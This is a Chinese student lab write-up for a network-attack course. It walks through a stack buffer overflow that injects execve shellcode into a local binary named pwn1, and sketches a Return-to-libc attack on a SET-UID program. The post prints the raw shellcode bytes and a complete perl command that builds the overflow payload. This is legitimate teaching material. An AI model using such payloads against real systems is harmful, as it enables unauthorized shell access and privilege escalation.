20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

时间:2023-01-14 22:16:35

shellcode

准备一段Shellcode

我用的老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00

环境设置

  • 设置堆栈可执行
  • 关闭地址随机化
    20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

然后,跳进了坑里

  • 用结构为:nops+shellcode+retaddr进行了shellcode注入
  • 6个nop+shellcode+返回地址,返回地址先用\x4\x3\x2\x1代替,之后确定具体值
  • 准备好了注入文件用00结尾
  • 然后把shellcode注入pwn1
    20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

确定注入的shellcode的地址

  • 打开一个新的终端,进行GDB调试
  • 设置断点
  • 寻找esp指向的地址
  • 在附近寻找shellcode的地址
  • 然后继续执行,确定返回地址所占的位置是否正确

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

失败了

然后,把\x4\x3\x2\x1替换为内存中shellcode的地址
注入后运行shell,失败,原因是指令被覆盖了

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

从坑里爬起来继续

  • 这次构造的是结构为:anything+retaddr+nops+shellcode
  • perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 成功
    20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

Return-to-libc攻击实验

准备工作,使用另一个 shell 程序(zsh)代替/bin/bash。

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

漏洞程序

  • retlib
    20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验
  • 编译该程序,并设置 SET-UID
    20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

读取环境变量的程序

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

攻击程序

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

获取内存地址

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

gdb 获得 system 和 exit 地址

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

修改 exploit.c 文件,填上刚才找到的内存地址

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

攻击

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验的更多相关文章

  1. 20145307陈俊达《网络对抗》shellcode注入&return to libc

    20145307陈俊达<网络对抗>shellcode注入 Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将 ...

  2. 20145239杜文超《网络对抗》- shellcode注入&amp&semi;Return-to-libc攻击深入

    20145239杜文超<网络对抗>- shellcode注入&Return-to-libc攻击深入 shellcode基础知识 Shellcode是一段代码,作为数据发送给受攻击服 ...

  3. 20145210姚思羽《网络对抗》——shellcode注入&amp&semi; Return-to-libc攻击深入

    20145210姚思羽<网络对抗>shellcode注入&Return-to-libc攻击深入 shellcode基础知识 Shellcode是一段代码,作为数据发送给受攻击服务器 ...

  4. 20145215《网络对抗》shellcode注入&amp&semi;Return-to-libc攻击深入

    20145215<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻 ...

  5. 20145227鄢曼君《网络对抗》shellcode注入&amp&semi;Return-to-libc攻击深入

    20145227鄢曼君<网络对抗>shellcode注入&Return-to-libc攻击深入 shellcode注入实践 shellcode基础知识 Shellcode实际是一段 ...

  6. 20145317《网络对抗》shellcode注入&amp&semi;Return-to-libc攻击深入

    20145317<网络对抗>shellcode注入&Return-to-libc攻击深入 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻 ...

  7. 20145208 蔡野《网络对抗》shellcode注入&amp&semi;Return-to-libc攻击深入

    20145208 蔡野<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 shellcode的获取代码 我使用了许心远同学博客中的代码 ...

  8. 20145326蔡馨熠《网络对抗》shellcode注入&amp&semi;Return-to-libc攻击深入

    20145326蔡馨熠<网络对抗>shellcode注入&Return-to-libc攻击深入 准备一段shellcode 首先我们应该知道,到底什么是shellcode.经过上网 ...

  9. 20145301《网络对抗》shellcode注入&amp&semi;Return-to-libc攻击深入

    20145301<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 shellcode是什么? Shellcode是指能完成特殊任务的 ...

  10. 20145303 刘俊谦《网络对抗》shellcode注入&amp&semi;Return-to-libc攻击深入

    20145303 刘俊谦<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 shellcode实际是一段代码,但却作为数据发送给受攻击 ...

随机推荐

  1. Centos 6&period;5 x64环境下 spark 1&period;6 maven 编译-- 已验证

    Centos 6.5 x64 jdk 1.7 scala 2.10 maven 3.3.3 cd spark-1.6 export MAVEN_OPTS="-Xmx2g -XX:MaxPer ...

  2. a版本冲刺第九天

    队名:Aruba   队员: 黄辉昌 李陈辉 林炳锋 鄢继仁 张秀锋 章  鼎 学号 昨天完成的任务 今天做的任务 明天要做的任务 困难点 体会 408 着手编辑测试文档,了解测试工具 编写测试用例集 ...

  3. dom扩展

    第十一章 DOM扩展 一.选择符API 1.querySelector()方法             接收一个CSS选择符,返回与该模式匹配的第一个元素,如果没有找到匹配的元素,返回null. 2. ...

  4. C&num; 字符串 数据类型 判断 与特定规则验证

    验证字符串格式 1)判断字符串是否是常见数据类型,decimal,foalt,double,datetime,int等等 2)验证字符串符合特定规则    (1)邮箱地址,IP地址     (2)纯数 ...

  5. 一名Delphi程序员的开发习惯

    一名Delphi程序员的开发习惯 有关开发习惯的一些想法,如鲠在喉,不吐不快.究其发贴动机,当然不排除有骗取参与分的可能,但另一方面,也希望能给同行(念Xing)者提供一些 建议,或者参考(希望不是误 ...

  6. Eclipse如何设置字体

    Eclipse 是一个开放源代码的.基于Java的可扩展开发平台,是学习java和开发java最常用的IDE之一.有时候会遇到这种情况,刚刚下载了新的Eclipse,字体显示英文没问题,但是显示中文就 ...

  7. MySQL错误:Can&&num;39&semi;t connect to MySQL server &lpar;10060&rpar;

    转自:http://database.51cto.com/art/201107/274565.htm 当远程连接MySQL数据库的时候显示Can't connect to MySQL server ( ...

  8. MVC中一般为什么用IQueryable而不是用IList?用IQueryable比IList好在哪?

    IList(IList<T>)会立即在内存里创建持久数据,这就没有实现"延期执行(deferred execution)",如果被加载的实体有关联实体(associat ...

  9. Google Gson的使用方法

    用法1:从网络获取到json字符串之后,假如该字符串为data, Gson gson = new Gson(); HomeBean json = gson.fromJson(data, HomeBea ...

  10. Codeforces986C AND Graph 【位运算】【dfs】

    题目大意: 一张$ m $个编号互异点图,最大不超过$ 2^n $,若两个编号位与为0则连边,问连通块数量. 题目分析: 考虑怎样的两个点会连边.这种说法对于A和B两个点来说,就相当于B在A的0的子集 ...